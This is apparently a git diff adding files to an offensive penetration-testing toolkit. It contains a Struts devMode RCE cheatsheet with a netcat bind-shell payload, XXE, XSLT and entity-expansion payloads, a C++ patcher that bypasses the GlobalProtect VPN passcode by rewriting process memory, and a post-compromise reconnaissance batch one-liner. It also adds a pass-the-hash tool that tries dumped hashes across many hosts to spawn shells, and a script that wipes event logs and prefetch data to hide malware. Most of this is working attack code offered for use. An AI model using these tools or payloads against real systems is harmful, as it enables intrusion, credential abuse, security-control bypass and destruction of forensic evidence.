for encoderName in self.encodings[::-1]:
e = self.encodersMap[encoderName].encode(data)
data = e
return data
def main(argv):
sample = '4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935'
if len(argv) != 2:
print('Usage: reencode.py <text>')
print('Using sample: "{}"'.format(sample))
text = sample
else:
text = argv[1]
decoder = ReEncoder()
decoded = decoder.decode(text)
print('(1) DECODED TEXT: "{}"'.format(decoded))
decoded = 'FOO ' + decoded + ' BAR'
print('\n(2) TO BE ENCODED TEXT: "{}"'.format(decoded))
decoded = decoder.encode(decoded)
print('(3) ENCODED FORM: "{}"'.format(decoded))
if __name__ == '__main__':
main(sys.argv)

67
web/struts-cheatsheet.md Normal file
View File

@ -0,0 +1,67 @@
## Apache Struts Remote Code Execution cheatsheet
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
``` <constant name="struts.devMode" value="true" />```
Then the middleware will be handling additional parameters passed to every function invocation.
### Testing for Struts devMode enabled
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
The below list of commands is supported by the *devMode* in Struts:
- `debug=command`
- `debug=xml`
- `debug=console`
- `debug=browser`
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
- the Struts 1:
- struts-blank
- struts-cookbook
- struts-el-example
- struts-examples
- struts-faces-example
- struts-faces-example2
- struts-mailreader
- struts-scripting-mailreader
- the Struts 2:
- struts2-blank
- struts2-rest-showcase
- struts2-mailreader
- struts2-showcase
- struts2-portlet
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
```
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
```
Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
There are those two most important parameters:
- `debug=command`
- `expression=<java_code>`
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
### Utilizing RCE
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
```
Where we have invocation of **uname -a** command within linux boxes.
In order to drop a bind shell on the server, the following method could be leveraged:
1. Pass the command as a String array:
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
```
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
```
After that, the *bash* shell will bind to the 4444 port.

221
web/xml-attacks.md Normal file
View File

@ -0,0 +1,221 @@
## XML Vulnerabilities
XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
---
### How to avoid XML vulnerabilities
Best practices
- Don't allow DTDs
- Don't expand entities
- Don't resolve externals
- Limit parse depth
- Limit total input size
- Limit parse time
- Favor a SAX or iterparse-like parser for potential large data
- Validate and properly quote arguments to XSL transformations and XPath queries
- Don't use XPath expression from untrusted sources
- Don't apply XSL transformations that come untrusted sources
(based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))
---
### Billion Laughs
The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack also known as exponential entity expansion uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.
```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```
**YAML bomb**:
```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
---
### Quadratic Blowup
A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isnt as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.
If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed.
**genQuadraticBlowup.py**
```
#!/usr/bin/python3
NUM = 55000
def main():
entity = 'A' * NUM
refs = '&x;' * NUM
templ = '''<?xml version="1.0"?>
<!DOCTYPE DoS [
<!ENTITY x "{entity}">
]>
<DoS>{entityReferences}</DoS>
'''.format(entity=entity, entityReferences=refs)
print(templ)
if __name__ == '__main__':
main()
```
---
### XML External Entities expansion / XXE
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```
```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
```
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```
Other XXE payloads worth testing:
- [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
- [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)
---
### DTD Retrieval
This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head/>
<body>text</body>
</html>
```
---
### Decompression Bomb
Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.
```
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
```
---
### XPath Injection
XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections.
---
### XInclude
XML Inclusion is another way to load and include external files:
```
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="filename.txt" parse="text" />
</root>
```
This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.
---
### XSL Transformation
You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.
Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J:
```
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
exclude-result-prefixes= "rt ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
<xsl:variable name="command"
select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
<xsl:variable name="commandAsString" select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
```
---
### SOURCES
- https://github.com/tiran/defusedxml
- https://docs.python.org/3/library/xml.html#xml-vulnerabilities
- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
- https://en.wikipedia.org/wiki/Billion_laughs_attack

View File

@ -0,0 +1,355 @@
/*
* Global Protect VPN Application patcher allowing the
* Administrator user to disable VPN without Passcode.
*
* It does this by patching process memory and thus allowing to
* disable VPN without entering proper password.
*
* Tested on:
* GlobalProtect client 3.1.6.19
* Palo Alto Networks
*
* Mariusz B. / mgeeky, '18
**/
#include "windows.h"
#include <iostream>
#include <sstream>
#include <tlhelp32.h>
using namespace std;
#define _DEBUG
const wchar_t *processName = L"PanGPA.exe";
/*
00007FF621B7D02A | 85 C0 | test eax, eax |
00007FF621B7D02C | 78 61 | js pangpa.7FF621B7D08F |
00007FF621B7D02E | 48 8B CB | mov rcx, rbx |
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
00007FF621B7D036 | 85 C0 | test eax, eax |
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
^--- This is byte to be patched.
*/
const BYTE patternToFind[] = {
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
};
// jne pangpa.7FF621B7D08F
const BYTE bytesToBeReplaced[] = {
0x75, 0x55
};
// je pangpa.7FF621B7D08F
const BYTE replacingBytes[] = {
0x74, 0x55
};
struct moduleInfo {
UINT64 baseAddr;
DWORD baseSize;
};
bool alreadyPatched = false;
void dbg(const wchar_t * format, ...) {
wchar_t buffer[4096];
va_list args;
va_start (args, format);
vswprintf (buffer,format, args);
wcout << L"[dbg] " << buffer << endl;
va_end (args);
}
void msg(const wchar_t * format, ...) {
wchar_t buffer[4096];
va_list args;
va_start (args, format);
vswprintf (buffer,format, args);
MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0);
va_end (args);
}
BOOL setPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
){
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid ) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) ){
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
DWORD findProcess(const wchar_t *procname) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if(Process32FirstW(hSnapshot, &pe32)) {
do {
if (wcsicmp(procname, pe32.szExeFile) == 0) {
return pe32.th32ProcessID;
}
} while(Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
return 0;
}
BOOL getProcessModule(
const wchar_t * modName,
DWORD pid,
struct moduleInfo *out
) {
dbg(L"PID = %d", pid);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
if(hSnapshot != INVALID_HANDLE_VALUE) {
MODULEENTRY32W me32;
me32.dwSize = sizeof(MODULEENTRY32W);
if(Module32FirstW(hSnapshot, &me32)) {
do {
dbg(L"Module name: %ls", me32.szModule);
if (wcsicmp(modName, me32.szModule) == 0) {
memset(out, 0, sizeof(struct moduleInfo));
out->baseAddr = (UINT64)me32.modBaseAddr;
out->baseSize = me32.modBaseSize;
return true;
}
} while(Module32NextW(hSnapshot, &me32));
}
else {
dbg(L"Module32FirstW failed.");
}
CloseHandle(hSnapshot);
}
else {
dbg(L"CreateToolhelp32Snapshot failed.");
}
return false;
}
BOOL patchProcessMemory(
const wchar_t * procName,
DWORD pid,
HANDLE hProcess,
const BYTE * patternToFind,
size_t patternToFindNum,
const BYTE * bytesToBeReplaced,
size_t bytesToBeReplacedNum,
const BYTE * replacingBytes,
size_t replacingBytesNum
) {
struct moduleInfo mod;
if (!getProcessModule(procName, pid, &mod)) {
dbg(L"Could not find process module. Error: %d", GetLastError());
return false;
}
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
BYTE page[4096];
SIZE_T fetched = 0;
UINT64 addr = mod.baseAddr;
while( fetched < mod.baseSize) {
memset(page, 0, sizeof(page));
SIZE_T out = 0;
if(ReadProcessMemory(
hProcess,
reinterpret_cast<LPCVOID>(addr),
page,
sizeof(page),
&out
)) {
UINT64 foundAddr = 0;
for(size_t m = 0; m < sizeof(page); m++) {
if (page[m] == patternToFind[0]) {
bool found = true;
for(size_t n = 0; n < patternToFindNum; n++) {
if(page[m + n] != patternToFind[n]) {
found = false;
break;
}
}
if(found) {
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...",
addr + m,
page[m + 0],
page[m + 1],
page[m + 2],
page[m + 3],
page[m + 4],
page[m + 5],
page[m + 6],
page[m + 7]
);
for(size_t n = 0; n < bytesToBeReplacedNum; n++) {
if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) {
found = false;
if ( page[m + patternToFindNum + n] == replacingBytes[n]) {
msg(L"Process is already patched.\nNo need to do it again.");
alreadyPatched = true;
return false;
}
dbg(L"Assuring pattern failed at byte %d: %x -> %x",
n,page[m + patternToFindNum + n], bytesToBeReplaced[n] );
break;
}
}
if(found) {
foundAddr = addr + m + patternToFindNum;
dbg(L"Found pattern at: 0x%llx", foundAddr);
break;
}
}
}
}
if (foundAddr) {
dbg(L"Starting patching process from address: %016llx", foundAddr);
out = 0;
if(WriteProcessMemory(
hProcess,
reinterpret_cast<LPVOID>(foundAddr),
replacingBytes,
replacingBytesNum,
&out
)) {
dbg(L"Process has been patched, written: %d bytes.", out);
return true;
}
dbg(L"Process patching failed.");
return false;
}
fetched += out;
addr += out;
}
}
return false;
}
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
) {
HANDLE hToken = NULL;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){
msg(L"OpenProcessToken() failed, error %u\n", GetLastError());
return 0;
}
if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
msg(L"Failed to enable privilege, error %u\n", GetLastError());
return 0;
}
DWORD pid = findProcess(processName);
if (!pid) {
msg(L"Could not find GlobalProtect process.");
return 0;
}
dbg(L"Found PanGPA process: %d", pid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
msg(L"Could not open GlobalProtect process. Error: %d", GetLastError());
return 0;
}
dbg(L"Opened process handle.");
BOOL ret = patchProcessMemory(
processName,
pid,
hProcess,
patternToFind,
sizeof(patternToFind),
bytesToBeReplaced,
sizeof(bytesToBeReplaced),
replacingBytes,
sizeof(replacingBytes)
);
if(!ret) {
if(!alreadyPatched) {
msg(L"Could not patch the process. Error: %d", GetLastError());
}
}
else {
msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!");
}
dbg(L"Closing process handle.");
CloseHandle(hProcess);
return 0;
}

22
windows/README.md Normal file
View File

@ -0,0 +1,22 @@
## Windows penetration testing related scripts, tools and Cheatsheets
- **`GlobalProtectDisable.cpp`** - Global Protect VPN Application patcher allowing the Administrator user to disable VPN without Passcode. ([gist](https://gist.github.com/mgeeky/54ac676226a1a4bd9fd8653e24adc2e9))
Steps are following:
1. Launch the application as an Administrator
2. Read instructions carefully and press OK
3. Right-click on GlobalProtect tray-icon
4. Select "Disable"
5. Enter some random meaningless password
After those steps - the GlobalProtect will disable itself cleanly.
From now on, the GlobalProtect will remain disabled until you reboot the machine (or restart the PanGPA.exe process or PanGPS service).
- **`awareness.bat`** - Little and quick Windows Situational-Awareness set of commands to execute after gaining initial foothold (coming from APT34: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html ) ([gist](https://gist.github.com/mgeeky/237b48e0bb6546acb53696228ab50794))
- **`pth-carpet.py`** - Pass-The-Hash Carpet Bombing utility - trying every provided hash against every specified machine. ([gist](https://gist.github.com/mgeeky/3018bf3643f80798bde75c17571a38a9))
- **`win-clean-logs.bat`** - Batch script to hide malware execution from Windows box. Source: Mandiant M-Trends 2017. ([gist](https://gist.github.com/mgeeky/3561be7e697c62f543910851c0a26d00))

1
windows/awareness.bat Normal file
View File

@ -0,0 +1 @@
@echo off&chcp 65001& whoami 2>&1 & hostname 2>&1 & echo ________________________________IpConfig______________________________ & ipconfig /all 2>&1 & echo __________________________Domian Admins_______________________________ & net group "domain admins" /domain 2>&1 & echo _______________________net local group members________________________ & net localgroup administrators 2>&1 & echo ________________________________netstat_______________________________ & netstat -an 2>&1 & echo _____________________________systeminfo_______________________________ & systeminfo 2>&1 & echo ________________________________RDP___________________________________ & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & echo ____________________________Custom Command_______________________________ & wmic os get Caption /value | more 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "GoogleUpdateTasksMachineUI" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________

222
windows/pth-carpet.py Normal file
View File

@ -0,0 +1,222 @@
#!/usr/bin/python
#
# Simple script intended to perform Carpet Bombing against list
# of provided machines using list of provided LSA Hashes (LM:NTLM).
# The basic idea with Pass-The-Hash attack is to get One hash and use it
# against One machine. There is a problem with this approach of not having information,
# onto what machine we could have applied the hash.
# To combat this issue - the below script was born.
#
# Requirements:
# This script requires 'pth-winexe' utility (or winexe renamed to pth-winexe') be present
# within system during script's invocation. In case this utility will not be present -
# no further check upon ability to run commands from PTH attack - will be displayed.
# Also, modules such as:
# - impacket
#
# Notice:
# This script is capable of verifying exploitability of only Windows boxes. In case
# of other type of boxes (running Samba) pth-winexe will not yield satisfying results.
#
# Usage:
# $ ./pth-carpet.py machines.txt pwdump
#
# coded by:
# Mariusz B., 2016 / mgeeky
# version 0.2
#
# Should be working on Windows boxes as well as on Linux ones.
#
from __future__ import print_function
import os
import sys
import argparse
import signal
import logging
import threading
import subprocess
import multiprocessing
from termcolor import colored
from functools import partial
from multiprocessing.managers import BaseManager
from impacket.dcerpc.v5 import transport
WORKERS = multiprocessing.cpu_count() * 4
TIMEOUT = 10
OPTIONS = None
LOCK = multiprocessing.Lock()
def info(txt):
with LOCK:
print (txt)
def success(txt):
info(colored('[+] '+txt, 'green', attrs=['bold']))
def warning(txt):
info(colored('[*] '+txt, 'yellow'))
def verbose(txt):
if OPTIONS.v:
info(colored('[?] '+txt, 'white'))
def err(txt):
info(colored('[!] '+txt, 'red'))
class Command(object):
def __init__(self, cmd):
self.cmd = cmd
self.process = None
self.output = ''
self.error = ''
verbose( '\tCalling: "%s"' % cmd)
def get_output(self):
return self.output, self.error
def run(self, stdin, timeout):
def target():
self.process = subprocess.Popen(self.cmd, shell=True, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
self.output, self.error = self.process.communicate(stdin)
thread = threading.Thread(target=target)
thread.start()
thread.join(timeout)
if thread.is_alive():
self.process.terminate()
thread.join()
return False
else:
return True
def init_worker():
# http://stackoverflow.com/a/6191991
signal.signal(signal.SIGINT, signal.SIG_IGN)
def cmd_exists(cmd):
return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0
def check_rce(host, username, hash, port):
verbose('\tChecking whether provided hash can be used to PTH remote code execution')
if cmd_exists('pth-winexe'):
userswitch = '%s%%%s' % (username, hash)
c = Command('pth-winexe -U %s //%s cmd' % (userswitch, host))
if c.run('exit\n', TIMEOUT):
pass
else:
verbose('\tPTH-Winexe had to be terminated.')
out, error = c.get_output()
if 'Microsoft' in out and '(C) Copyright' in out and '[Version' in out:
return True
else:
errorm = error[error.find('NT_STATUS'):].strip()
if not errorm.startswith('NT_STATUS'):
if 'NT_STATUS' in error:
errorm = error
else:
errorm = 'Unknown error'
if OPTIONS.v:
err('\tCould not spawn shell using PTH: ' + errorm)
else:
warning('\tPlease check above hash whether using it you can access writeable $IPC share to execute cmd.')
return False
def login(host, username, hash, port):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % host
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
lmhash, nthash = hash.split(':')
rpctransport.set_credentials(username, '', '', lmhash, nthash, None)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
return check_rce(host, username, hash, port)
except Exception, e:
raise e
def correct_hash(hash):
lmhash, nthash = hash.split(':')
if '*' in lmhash:
lmhash = '0' * 32
if '*' in nthash:
nthash = '0' * 32
return lmhash + ':' + nthash
def worker(stopevent, pwdump, machine):
for user, hash in pwdump.items():
if stopevent.is_set():
break
hash = correct_hash(hash)
try:
if login(machine, user, hash, OPTIONS.port):
success('Pass-The-Hash with shell spawned: %s@%s (%s)' % (user, machine, hash))
else:
if OPTIONS.v:
warning('Connected using PTH but could\'nt spawn shell: %s@%s (%s)' % (user, machine, hash))
except Exception, e:
verbose('Hash was not accepted: %s@%s (%s)\n\t%s' % (user, machine, hash, str(e)))
def main():
global OPTIONS
print(colored('\n\tPass-The-Hash Carpet Bombing utility\n\tSmall utility trying every provided hash against every specified machine.\n\tMariusz B., 2016\n', 'white', attrs=['bold']))
parser = argparse.ArgumentParser(add_help = True, description='Pass-The-Hash mass checking tool')
parser.add_argument('rhosts', nargs='?', help='Specifies input file containing list of machines or CIDR notation of hosts')
parser.add_argument('hashes', nargs='?', help='Specifies input file containing list of dumped hashes in pwdump format')
parser.add_argument('-v', action='store_true', help='Verbose mode')
parser.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar='smb port', help='Destination port used to connect into SMB Server')
if len(sys.argv) < 3:
parser.print_help()
sys.exit(1)
OPTIONS = parser.parse_args()
machines = [x.strip() for x in open(OPTIONS.rhosts).readlines() ]
rawpwdump = [x.strip() for x in open(OPTIONS.hashes).readlines() ]
pwdump = {}
for p in rawpwdump:
try:
user = p.split(':')[0]
hash = p.split(':')[2] + ':' + p.split(':')[3]
except:
err('Supplied hashes file does not conform PWDUMP format!')
err('\tIt must be like this: <user>:<id>:<lmhash>:<nthash>:...')
sys.exit(1)
pwdump[user] = hash
warning('Testing %d hashes against %d machines. Resulting in total in %d PTH attempts\n' \
% (len(pwdump), len(machines), len(pwdump) * len(machines)))
stopevent = multiprocessing.Manager().Event()
try:
pool = multiprocessing.Pool(WORKERS, init_worker)
func = partial(worker, stopevent, pwdump)
pool.map_async(func, machines)
pool.close()
pool.join()
except KeyboardInterrupt:
pool.terminate()
pool.join()
success('\nUser interrupted the script.')
if __name__ == '__main__':
main()

View File

@ -0,0 +1,13 @@
@echo off
del /f /q /s %windir%\prefetch\*
reg delete “HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
reg delete “HKLM\Software\Microsoft\Windows\ShellNoRoam\MUICache” /va /f
reg delete “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
reg delete “HKLM\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache” /va /f
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU” /va /f
reg delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist” /va /f
wmic nteventlog where LogFileName=File Replication Service Call ClearEventlog
wmic nteventlog where LogFileName=Application Call ClearEventlog
wmic nteventlog where LogFileName=System Call ClearEventlog
wmic nteventlog where LogFileName=PowerShell Call ClearEventlog
ren %1 temp000 & copy /y %windir%\regedit.exe temp000 & del temp000